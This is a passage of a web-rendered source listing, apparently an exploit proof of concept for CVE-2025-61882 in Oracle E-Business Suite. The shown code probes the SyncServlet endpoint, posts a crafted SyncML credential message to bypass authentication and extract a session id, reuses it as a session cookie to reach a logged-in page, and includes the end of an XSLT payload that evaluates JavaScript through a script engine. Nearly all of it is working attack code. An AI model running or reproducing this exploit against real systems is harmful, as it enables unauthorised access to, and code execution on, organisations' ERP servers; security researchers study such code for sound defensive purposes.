          <td id="file-ebs_cve-2025-61882_poc-py-LC36" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L37" class="blob-num js-line-number js-blob-rnum" data-line-number="37"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC37" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:variable name="result" select="eng:eval($e, $js)" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L38" class="blob-num js-line-number js-blob-rnum" data-line-number="38"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC38" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;xsl:value-of select="$result" /&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L39" class="blob-num js-line-number js-blob-rnum" data-line-number="39"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC39" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;/xsl:template&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L40" class="blob-num js-line-number js-blob-rnum" data-line-number="40"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC40" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L41" class="blob-num js-line-number js-blob-rnum" data-line-number="41"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC41" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;/xsl:stylesheet&gt;'''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L42" class="blob-num js-line-number js-blob-rnum" data-line-number="42"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC42" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L43" class="blob-num js-line-number js-blob-rnum" data-line-number="43"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC43" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">check</span>(<span class="pl-s1">url</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L44" class="blob-num js-line-number js-blob-rnum" data-line-number="44"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC44" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L45" class="blob-num js-line-number js-blob-rnum" data-line-number="45"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC45" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"[*] Checking if target <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span> is vulnerable..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L46" class="blob-num js-line-number js-blob-rnum" data-line-number="46"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC46" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">get</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/SyncServlet"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L47" class="blob-num js-line-number js-blob-rnum" data-line-number="47"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC47" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"Oracle Common Applications Calendar Synchronization Server is Alive"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L48" class="blob-num js-line-number js-blob-rnum" data-line-number="48"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC48" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">f"[+] Target seems vulnerable!"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L49" class="blob-num js-line-number js-blob-rnum" data-line-number="49"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC49" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-c1">True</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L50" class="blob-num js-line-number js-blob-rnum" data-line-number="50"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC50" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Target seems not vulnerable"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L51" class="blob-num js-line-number js-blob-rnum" data-line-number="51"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC51" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">False</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L52" class="blob-num js-line-number js-blob-rnum" data-line-number="52"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC52" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-s1">requests</span>.<span class="pl-c1">RequestException</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L53" class="blob-num js-line-number js-blob-rnum" data-line-number="53"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC53" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Something went wrong. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L54" class="blob-num js-line-number js-blob-rnum" data-line-number="54"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC54" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">False</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L55" class="blob-num js-line-number js-blob-rnum" data-line-number="55"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC55" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L56" class="blob-num js-line-number js-blob-rnum" data-line-number="56"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC56" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">auth_bypass</span>(<span class="pl-s1">url</span>, <span class="pl-s1">username</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L57" class="blob-num js-line-number js-blob-rnum" data-line-number="57"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC57" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L58" class="blob-num js-line-number js-blob-rnum" data-line-number="58"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC58" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">headers</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L59" class="blob-num js-line-number js-blob-rnum" data-line-number="59"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC59" class="blob-code blob-code-inner js-file-line">            <span class="pl-s">'User-Agent'</span>: <span class="pl-c1">HEADERS</span>[<span class="pl-s">'User-Agent'</span>],</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L60" class="blob-num js-line-number js-blob-rnum" data-line-number="60"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC60" class="blob-code blob-code-inner js-file-line">            <span class="pl-s">'Content-Type'</span>: <span class="pl-s">'application/vnd.syncml+xml'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L61" class="blob-num js-line-number js-blob-rnum" data-line-number="61"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC61" class="blob-code blob-code-inner js-file-line">        }</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L62" class="blob-num js-line-number js-blob-rnum" data-line-number="62"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC62" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-v">Base64</span>.<span class="pl-c1">b64encode</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">username</span><span class="pl-kos">}</span></span>:Qwerty123!"</span>.<span class="pl-c1">encode</span>()).<span class="pl-c1">decode</span>()</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L63" class="blob-num js-line-number js-blob-rnum" data-line-number="63"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC63" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-s">f'''&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L64" class="blob-num js-line-number js-blob-rnum" data-line-number="64"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC64" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;SyncML&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L65" class="blob-num js-line-number js-blob-rnum" data-line-number="65"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC65" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;SyncHdr&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L66" class="blob-num js-line-number js-blob-rnum" data-line-number="66"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC66" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;VerDTD&gt;1.1&lt;/VerDTD&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L67" class="blob-num js-line-number js-blob-rnum" data-line-number="67"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC67" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;VerProto&gt;SyncML/1.1&lt;/VerProto&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L68" class="blob-num js-line-number js-blob-rnum" data-line-number="68"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC68" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;SessionID&gt; 1&lt;/SessionID&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L69" class="blob-num js-line-number js-blob-rnum" data-line-number="69"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC69" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;MsgID&gt;1&lt;/MsgID&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L70" class="blob-num js-line-number js-blob-rnum" data-line-number="70"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC70" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L71" class="blob-num js-line-number js-blob-rnum" data-line-number="71"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC71" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Target&gt;&lt;LocURI&gt;http://localhost&lt;/LocURI&gt;&lt;/Target&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L72" class="blob-num js-line-number js-blob-rnum" data-line-number="72"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC72" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Source&gt;&lt;LocURI&gt;device-123&lt;/LocURI&gt;&lt;/Source&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L73" class="blob-num js-line-number js-blob-rnum" data-line-number="73"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC73" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L74" class="blob-num js-line-number js-blob-rnum" data-line-number="74"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC74" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Cred&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L75" class="blob-num js-line-number js-blob-rnum" data-line-number="75"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC75" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;Meta&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L76" class="blob-num js-line-number js-blob-rnum" data-line-number="76"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC76" class="blob-code blob-code-inner js-file-line"><span class="pl-s">        &lt;Format&gt;b64&lt;/Format&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L77" class="blob-num js-line-number js-blob-rnum" data-line-number="77"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC77" class="blob-code blob-code-inner js-file-line"><span class="pl-s">        &lt;Type&gt;syncml:auth-basic&lt;/Type&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L78" class="blob-num js-line-number js-blob-rnum" data-line-number="78"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC78" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;/Meta&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L79" class="blob-num js-line-number js-blob-rnum" data-line-number="79"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC79" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;Data&gt;<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">payload</span><span class="pl-kos">}</span></span>&lt;/Data&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L80" class="blob-num js-line-number js-blob-rnum" data-line-number="80"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC80" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;/Cred&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L81" class="blob-num js-line-number js-blob-rnum" data-line-number="81"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC81" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;/SyncHdr&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L82" class="blob-num js-line-number js-blob-rnum" data-line-number="82"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC82" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L83" class="blob-num js-line-number js-blob-rnum" data-line-number="83"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC83" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;SyncBody&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L84" class="blob-num js-line-number js-blob-rnum" data-line-number="84"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC84" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Alert&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L85" class="blob-num js-line-number js-blob-rnum" data-line-number="85"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC85" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;CmdID&gt;1&lt;/CmdID&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L86" class="blob-num js-line-number js-blob-rnum" data-line-number="86"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC86" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;Data&gt;200&lt;/Data&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L87" class="blob-num js-line-number js-blob-rnum" data-line-number="87"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC87" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;/Alert&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L88" class="blob-num js-line-number js-blob-rnum" data-line-number="88"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC88" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Final/&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L89" class="blob-num js-line-number js-blob-rnum" data-line-number="89"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC89" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;/SyncBody&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L90" class="blob-num js-line-number js-blob-rnum" data-line-number="90"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC90" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;/SyncML&gt;'''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L91" class="blob-num js-line-number js-blob-rnum" data-line-number="91"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC91" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L92" class="blob-num js-line-number js-blob-rnum" data-line-number="92"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC92" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/SyncServlet"</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-s1">headers</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">data</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L93" class="blob-num js-line-number js-blob-rnum" data-line-number="93"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC93" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">xml_content</span> <span class="pl-c1">=</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L94" class="blob-num js-line-number js-blob-rnum" data-line-number="94"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC94" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L95" class="blob-num js-line-number js-blob-rnum" data-line-number="95"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC95" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L96" class="blob-num js-line-number js-blob-rnum" data-line-number="96"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC96" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">root</span> <span class="pl-c1">=</span> <span class="pl-c1">ET</span>.<span class="pl-c1">fromstring</span>(<span class="pl-s1">xml_content</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L97" class="blob-num js-line-number js-blob-rnum" data-line-number="97"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC97" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">resp_uri</span> <span class="pl-c1">=</span> <span class="pl-s1">root</span>.<span class="pl-c1">find</span>(<span class="pl-s">".//RespURI"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L98" class="blob-num js-line-number js-blob-rnum" data-line-number="98"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC98" class="blob-code blob-code-inner js-file-line">            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L99" class="blob-num js-line-number js-blob-rnum" data-line-number="99"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC99" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s1">resp_uri</span> <span class="pl-c1"><span class="pl-c1">is</span> <span class="pl-c1">not</span></span> <span class="pl-c1">None</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L100" class="blob-num js-line-number js-blob-rnum" data-line-number="100"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC100" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">raw_value</span> <span class="pl-c1">=</span> <span class="pl-s1">resp_uri</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L101" class="blob-num js-line-number js-blob-rnum" data-line-number="101"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC101" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">decoded_value</span> <span class="pl-c1">=</span> <span class="pl-en">unquote</span>(<span class="pl-s1">raw_value</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L102" class="blob-num js-line-number js-blob-rnum" data-line-number="102"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC102" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">parsed_url</span> <span class="pl-c1">=</span> <span class="pl-s1">urlparse</span>.<span class="pl-c1">urlparse</span>(<span class="pl-s1">decoded_value</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L103" class="blob-num js-line-number js-blob-rnum" data-line-number="103"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC103" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">query_params</span> <span class="pl-c1">=</span> <span class="pl-en">parse_qs</span>(<span class="pl-s1">parsed_url</span>.<span class="pl-c1">query</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L104" class="blob-num js-line-number js-blob-rnum" data-line-number="104"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC104" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">sid_value</span> <span class="pl-c1">=</span> <span class="pl-s1">query_params</span>.<span class="pl-c1">get</span>(<span class="pl-s">'sid'</span>, [<span class="pl-c1">None</span>])[<span class="pl-c1">0</span>]</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L105" class="blob-num js-line-number js-blob-rnum" data-line-number="105"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC105" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">return</span> <span class="pl-s1">sid_value</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L106" class="blob-num js-line-number js-blob-rnum" data-line-number="106"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC106" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L107" class="blob-num js-line-number js-blob-rnum" data-line-number="107"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC107" class="blob-code blob-code-inner js-file-line">                <span class="pl-en">print</span>(<span class="pl-s">"[-] RespURI tag not found"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L108" class="blob-num js-line-number js-blob-rnum" data-line-number="108"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC108" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L109" class="blob-num js-line-number js-blob-rnum" data-line-number="109"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC109" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">except</span> <span class="pl-c1">ET</span>.<span class="pl-c1">ParseError</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L110" class="blob-num js-line-number js-blob-rnum" data-line-number="110"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC110" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">f"[-] XML Parsing Error: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L111" class="blob-num js-line-number js-blob-rnum" data-line-number="111"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC111" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L112" class="blob-num js-line-number js-blob-rnum" data-line-number="112"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC112" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L113" class="blob-num js-line-number js-blob-rnum" data-line-number="113"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC113" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-s1">requests</span>.<span class="pl-c1">RequestException</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L114" class="blob-num js-line-number js-blob-rnum" data-line-number="114"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC114" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Something went wrong during auth bypass. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L115" class="blob-num js-line-number js-blob-rnum" data-line-number="115"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC115" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L116" class="blob-num js-line-number js-blob-rnum" data-line-number="116"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC116" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L117" class="blob-num js-line-number js-blob-rnum" data-line-number="117"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC117" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">get_cookies</span>(<span class="pl-s1">url</span>, <span class="pl-s1">sid</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L118" class="blob-num js-line-number js-blob-rnum" data-line-number="118"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC118" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L119" class="blob-num js-line-number js-blob-rnum" data-line-number="119"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC119" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">cookies</span> <span class="pl-c1">=</span> {<span class="pl-s">"EBSDB"</span>: <span class="pl-s1">sid</span>}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L120" class="blob-num js-line-number js-blob-rnum" data-line-number="120"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC120" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">get</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/OA.jsp?OAFunc=OANEWHOMEPAGE"</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-s1">cookies</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L121" class="blob-num js-line-number js-blob-rnum" data-line-number="121"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC121" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"Logged In As"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L122" class="blob-num js-line-number js-blob-rnum" data-line-number="122"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC122" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[+] Successfully obtained session cookies!"</span>)</td>
        </tr>
        <tr>
